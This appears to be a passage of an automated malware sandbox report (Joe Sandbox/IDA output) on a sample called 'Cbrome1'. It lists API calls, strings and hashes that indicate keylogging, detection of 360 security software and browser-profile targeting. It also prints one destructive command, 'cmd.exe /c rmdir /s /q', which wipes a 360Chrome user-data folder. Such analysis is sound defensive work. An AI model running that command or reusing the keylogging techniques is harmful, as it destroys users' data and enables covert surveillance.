Part of subcall function 0000023A295E856C: _invalid_parameter_noinfo.LIBCMT ref: 0000023A295E85B3

_errno.LIBCMT ref: 0000023A295E39E3
_errno.LIBCMT ref: 0000023A295E39EA
_errno.LIBCMT ref: 0000023A295E3A0A
_errno.LIBCMT ref: 0000023A295E3A13
_errno.LIBCMT ref: 0000023A295E3A1D
_errno.LIBCMT ref: 0000023A295E3A27
free.LIBCMT ref: 0000023A295E3A4D

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockfree
String ID:
API String ID: 545175899-0
Opcode ID: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction ID: 349883490f256986485d5b84b4bf7e552f9f21e826a70500ca165928ccd6acae
Opcode Fuzzy Hash: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction Fuzzy Hash: E831853470460D8FEB58EFA5844A2AF77F5FB94700F10453ED8C6D2292DB3A86688783

Function 0000023A29E1D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23290: malloc.LIBCMT ref: 0000023A29E232AA

std::exception::exception.LIBCMT ref: 0000023A29E1D10B
free.LIBCMT ref: 0000023A29E1D18D
free.LIBCMT ref: 0000023A29E1D19F
free.LIBCMT ref: 0000023A29E1D1B1
free.LIBCMT ref: 0000023A29E1D1C3

Strings

bad locale name, xrefs: 0000023A29E1D0F8

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 7fbec9eb027a2269a2e30b3ae58dd2783fc0e8de0022048a5354d80fd922a8e4
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: A5412936701B4098EB15DF60E458BAE33B4FB44B98F444539DE8D17A9ADF38CA69C306

Function 0000023A29E242A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E283F4: HeapCreate.KERNELBASE ref: 0000023A29E2840A
Part of subcall function 0000023A29E283F4: GetVersion.KERNEL32 ref: 0000023A29E2841C
Part of subcall function 0000023A29E283F4: HeapSetInformation.KERNEL32 ref: 0000023A29E2843A

_RTC_Initialize.LIBCMT ref: 0000023A29E242D6
GetCommandLineA.KERNEL32 ref: 0000023A29E242DB

Part of subcall function 0000023A29E2976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E29785
Part of subcall function 0000023A29E2976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E297DC
Part of subcall function 0000023A29E2976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E29817
Part of subcall function 0000023A29E2976C: free.LIBCMT ref: 0000023A29E29824
Part of subcall function 0000023A29E2976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E2982F

Part of subcall function 0000023A29E2902C: GetStartupInfoW.KERNEL32 ref: 0000023A29E2904D

__setargv.LIBCMT ref: 0000023A29E24304
_cinit.LIBCMT ref: 0000023A29E24318

Part of subcall function 0000023A29E247F4: FlsFree.KERNEL32(?,?,?,?,0000023A29E24382), ref: 0000023A29E24803
Part of subcall function 0000023A29E247F4: RtlDeleteCriticalSection.NTDLL ref: 0000023A29E29A43
Part of subcall function 0000023A29E247F4: free.LIBCMT ref: 0000023A29E29A4C
Part of subcall function 0000023A29E247F4: RtlDeleteCriticalSection.NTDLL ref: 0000023A29E29A73

Part of subcall function 0000023A29E29300: free.LIBCMT ref: 0000023A29E29351

Part of subcall function 0000023A29E2537C: Sleep.KERNEL32(?,?,ceil,0000023A29E24907,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E253C1

FlsSetValue.KERNEL32 ref: 0000023A29E243B2
GetCurrentThreadId.KERNEL32 ref: 0000023A29E243C6
free.LIBCMT ref: 0000023A29E243D5

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction ID: ae107ced0166e4e1135921f9e551e221ef8076693b11fee6d71df08ae7ebeafd
Opcode Fuzzy Hash: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction Fuzzy Hash: A4311431E0530185FA64B762A94DFAB21B5BF24F54F25523CACEA851C3FA2C87709563

Function 0000023A29E220E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000023A29E2212E
lstrcpy.KERNEL32 ref: 0000023A29E22144
wsprintfA.USER32 ref: 0000023A29E22173
lstrlen.KERNEL32 ref: 0000023A29E2217C

Strings

SOFTWARE\%sW\, xrefs: 0000023A29E22164
UnKnowW, xrefs: 0000023A29E22138

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction ID: b5852a5d7b97ff18344145e663fd9b10ec720c8f2f4d0feeaee3ffd88e124455
Opcode Fuzzy Hash: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction Fuzzy Hash: 71113032218A8181EA20DF11E859BAB6375F7C9B84F440029DE9D47A59EF3DC269CB01

Function 0000023A29E1DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0000023A29E1DCBC
CreateFileA.KERNEL32 ref: 0000023A29E1DCEE
SetFilePointer.KERNEL32 ref: 0000023A29E1DD13
lstrlen.KERNEL32 ref: 0000023A29E1DD1C
WriteFile.KERNEL32 ref: 0000023A29E1DD39
CloseHandle.KERNEL32 ref: 0000023A29E1DD42
ReleaseMutex.KERNEL32 ref: 0000023A29E1DD54

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: 2dbc3375431f1657df744519bbdd8f74889d91dad94db7d1db55c25ec0a36555
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: 90110D7120474082FB548B51F91CB6A7770BB88FA4F084229EDBA03BA4CF7CC6558B06

Function 0000023A29E1FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E12AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 0000023A29E12AD6

LoadLibraryW.KERNEL32 ref: 0000023A29E1FB48

Part of subcall function 0000023A29E1F2D0: CreateFileW.KERNEL32 ref: 0000023A29E1F303

FindWindowW.USER32 ref: 0000023A29E1FB69
IsDlgButtonChecked.USER32 ref: 0000023A29E1FB84
Sleep.KERNEL32 ref: 0000023A29E1FB8F

Part of subcall function 0000023A29E1F360: GetCurrentProcessId.KERNEL32 ref: 0000023A29E1F3A0
Part of subcall function 0000023A29E1F360: GetCurrentThreadId.KERNEL32 ref: 0000023A29E1F3A8
Part of subcall function 0000023A29E1F360: VirtualProtect.KERNEL32 ref: 0000023A29E1F3CF
Part of subcall function 0000023A29E1F360: VirtualProtect.KERNEL32 ref: 0000023A29E1F3F6
Part of subcall function 0000023A29E1F360: CreateProcessWithLogonW.ADVAPI32 ref: 0000023A29E1F450
Part of subcall function 0000023A29E1F360: VirtualProtect.KERNEL32 ref: 0000023A29E1F475
Part of subcall function 0000023A29E1F360: VirtualProtect.KERNEL32 ref: 0000023A29E1F49C
Part of subcall function 0000023A29E1F360: CloseHandle.KERNEL32 ref: 0000023A29E1F4AC

Strings

Q360SafeMonClass, xrefs: 0000023A29E1FB60
user32.dll, xrefs: 0000023A29E1FB41

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: 4d247bdf649536b1bd21e897ea90de40fecb85ef571a33c0a8a3cfcef795e629
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 03F0373071170142FB54A761D86DF6712B4BF98F51F48183C8D9A85692EF2CCEB48697

Function 0000023A29E1E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0000023A29E1E20B
GetLastError.KERNEL32 ref: 0000023A29E1E214
GetModuleHandleA.KERNEL32 ref: 0000023A29E1E223

Part of subcall function 0000023A29E1DA90: SHGetFolderPathA.SHELL32 ref: 0000023A29E1DACD
Part of subcall function 0000023A29E1DA90: lstrcat.KERNEL32 ref: 0000023A29E1DADD
Part of subcall function 0000023A29E1DA90: CreateMutexA.KERNEL32 ref: 0000023A29E1DAEE
Part of subcall function 0000023A29E1DA90: WaitForSingleObject.KERNEL32 ref: 0000023A29E1DB06
Part of subcall function 0000023A29E1DA90: CreateFileA.KERNEL32 ref: 0000023A29E1DB34
Part of subcall function 0000023A29E1DA90: GetFileSize.KERNEL32 ref: 0000023A29E1DB42
Part of subcall function 0000023A29E1DA90: CloseHandle.KERNEL32 ref: 0000023A29E1DB4D
Part of subcall function 0000023A29E1DA90: DeleteFileA.KERNEL32 ref: 0000023A29E1DB5E
Part of subcall function 0000023A29E1DA90: ReleaseMutex.KERNEL32 ref: 0000023A29E1DB70

Part of subcall function 0000023A29E1DEB0: GetKeyState.USER32 ref: 0000023A29E1DFA5
Part of subcall function 0000023A29E1DEB0: lstrlen.KERNEL32 ref: 0000023A29E1DFFE
Part of subcall function 0000023A29E1DEB0: wsprintfA.USER32 ref: 0000023A29E1E06C
Part of subcall function 0000023A29E1DEB0: lstrlen.KERNEL32 ref: 0000023A29E1E105

Sleep.KERNEL32 ref: 0000023A29E1E250
CloseHandle.KERNEL32 ref: 0000023A29E1E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 0000023A29E1E200

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: 1e4c7a2661bb0801cc38c916ed849f36436eade386e3d1d827decb4b3f4dd3a6
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: 6F017C31104741C2EB44AB21F458A7F23B5FB89B80F49403DEE9A42691DF3CCAA9C706

Function 0000023A29E1EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E1F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 0000023A29E1F1F7

WinExec.KERNEL32 ref: 0000023A29E1ECC3

Part of subcall function 0000023A29E1F130: SHGetKnownFolderPath.SHELL32 ref: 0000023A29E1F166
Part of subcall function 0000023A29E1F130: wsprintfW.USER32 ref: 0000023A29E1F184

Strings

360chrome.exe, xrefs: 0000023A29E1ECAE
\AppData\Roaming\360se6\User Data\Default, xrefs: 0000023A29E1EC79, 0000023A29E1EC9F
360se6.exe, xrefs: 0000023A29E1EC69
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 0000023A29E1ECBA
360se.exe, xrefs: 0000023A29E1EC8F

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: f1fa082daafd3086e1fe3f772e55e61bbdd37bbb4c8f26cd69d7a3682679ac0a
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: 57F0B235300B0150FA14EB21ED5DAA72374B758F84F88643A9DCD421A6DF6CC7A6C347

Function 0000023A295F0AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295F0AC7

Part of subcall function 0000023A295E96DC: _getptd.LIBCMT ref: 0000023A295E96E0

_getptd.LIBCMT ref: 0000023A295F0AD9
_getptd.LIBCMT ref: 0000023A295F0AE7

Strings

csm, xrefs: 0000023A295F0ABF
MOC, xrefs: 0000023A295F0AB7
RCC, xrefs: 0000023A295F0AAF

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: c0ec7cd46a3b1fe0a1f38c2c7ce0fbeb17d6b296095c2ae0223f07b958da3c94
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: E7F030346002048EE6556B74800E3A633B0FF2D716F4955BDDCC88A2A3D7BD4AE88753

Function 0000023A29E310F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E3110F

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Part of subcall function 0000023A29E29D24: _getptd.LIBCMT ref: 0000023A29E29D28

_getptd.LIBCMT ref: 0000023A29E31121
_getptd.LIBCMT ref: 0000023A29E3112F

Strings

RCC, xrefs: 0000023A29E310F7
csm, xrefs: 0000023A29E31107
MOC, xrefs: 0000023A29E310FF

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 910db861be46ec5c99b66b53b29d7e0c868ce460fca8daa0abf921103b821685
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 17F03936A0034686E755AB61C0097FE31F4FB98F05F9A94788AC842382C7AC4AA18B13

Function 0000023A295ED470 Relevance: 9.3, APIs: 6, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000023A295ED4C0
_errno.LIBCMT ref: 0000023A295ED4C7
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295ED4D2
__doserrno.LIBCMT ref: 0000023A295ED61D
free.LIBCMT ref: 0000023A295ED674
_errno.LIBCMT ref: 0000023A295ED6E4

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: __doserrno_errno$_invalid_parameter_noinfofree
String ID:
API String ID: 3760323483-0
Opcode ID: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction ID: b1bda91e310b7d4c6c66fb833c550f27cf9dbe3dd6f4d673444808c6b47b799c
Opcode Fuzzy Hash: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction Fuzzy Hash: D091E230718A488FEB19AF68D4897BA77F0FF55715F00013DD8CAC7192DB7A9A1A8742

Function 0000023A295E58A8 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295E58C7

Part of subcall function 0000023A295E54E4: _getptd.LIBCMT ref: 0000023A295E54EE

Part of subcall function 0000023A295E4CB4: malloc.LIBCMT ref: 0000023A295E4CDF

free.LIBCMT ref: 0000023A295E5952

Part of subcall function 0000023A295E36E0: _errno.LIBCMT ref: 0000023A295E3700

_lock.LIBCMT ref: 0000023A295E5982
free.LIBCMT ref: 0000023A295E5A25
free.LIBCMT ref: 0000023A295E5A51
_errno.LIBCMT ref: 0000023A295E5A56

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction ID: 9aa9d33ae511788e98537b45acb77c29026fc257c09e5283b80effffa916de05
Opcode Fuzzy Hash: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction Fuzzy Hash: 4B51CE30718A044FEB90DF2894857AA77F1FB48B10F14417DDCCDC7292DA3A9A6A8783

Function 0000023A29E25EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E25F0F

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Part of subcall function 0000023A29E25B2C: _getptd.LIBCMT ref: 0000023A29E25B36
Part of subcall function 0000023A29E25B2C: _amsg_exit.LIBCMT ref: 0000023A29E25BD3

Part of subcall function 0000023A29E25BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,0000023A29E25F2A,?,?,?,?,?,0000023A29E260E7), ref: 0000023A29E25C12

Part of subcall function 0000023A29E252FC: malloc.LIBCMT ref: 0000023A29E25327
Part of subcall function 0000023A29E252FC: Sleep.KERNEL32(?,?,ceil,0000023A29E29B11,?,?,?,0000023A29E29BBB,?,?,00000000,0000023A29E24875,?,?,00000000,0000023A29E2492C), ref: 0000023A29E2533A

free.LIBCMT ref: 0000023A29E25F9A

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

_lock.LIBCMT ref: 0000023A29E25FCA
free.LIBCMT ref: 0000023A29E2606D
free.LIBCMT ref: 0000023A29E26099
_errno.LIBCMT ref: 0000023A29E2609E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction ID: 4fa1d2ef5a997d938ce41f40b846bbec1f142047c750a45ebbf12361b14fc916
Opcode Fuzzy Hash: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction Fuzzy Hash: E651CE76A0078085E7649B21A458B6F77B1B784F94F14423ADEDA473AADF3CCA21D702

Function 0000023A295E856C Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000023A295E8593
_errno.LIBCMT ref: 0000023A295E85A7
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E85B3
calloc.LIBCMT ref: 0000023A295E85F5
_errno.LIBCMT ref: 0000023A295E8602
_errno.LIBCMT ref: 0000023A295E860D

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 2577527384-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: bfd220364a898eba9973f5ee273695bf95ffd479128f837b7ab261067474ae23
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: 1D316E70714A094FEB54AF68941A32AB3E1FB55B00F41057DEDC9C7292DA3EDD288783

Function 0000023A295E9468 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0000023A295E948F

Part of subcall function 0000023A295E9E5C: _set_error_mode.LIBCMT ref: 0000023A295E9E65
Part of subcall function 0000023A295E9E5C: _set_error_mode.LIBCMT ref: 0000023A295E9E74

Part of subcall function 0000023A295E9BFC: _set_error_mode.LIBCMT ref: 0000023A295E9C41
Part of subcall function 0000023A295E9BFC: _set_error_mode.LIBCMT ref: 0000023A295E9C52

Part of subcall function 0000023A295E4CB4: malloc.LIBCMT ref: 0000023A295E4CDF

_errno.LIBCMT ref: 0000023A295E94D1
_lock.LIBCMT ref: 0000023A295E94E5
free.LIBCMT ref: 0000023A295E9508
_errno.LIBCMT ref: 0000023A295E950D

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: 84f513c9e16f29ecaabb86922519822dc539b3e4e6e226a359462979e88edba8
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: 51213030B146098FF754AFA5E46976A73B1FB54B10F50443DE8C9C32D2DA7E8A588742

Function 0000023A29E28BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000023A29E28BDB

Part of subcall function 0000023A29E29B98: _amsg_exit.LIBCMT ref: 0000023A29E29BC2

_errno.LIBCMT ref: 0000023A29E28BEF
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28BFB

Part of subcall function 0000023A29E25664: GetCurrentProcess.KERNEL32(?,?,?,?,0000023A29E25706), ref: 0000023A29E2567C

calloc.LIBCMT ref: 0000023A29E28C3D
_errno.LIBCMT ref: 0000023A29E28C4A
_errno.LIBCMT ref: 0000023A29E28C55

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction ID: 9e411cee1ea29b3f303be90c105f42bbc0ad42765454b4b959ae1a0bbec5a895
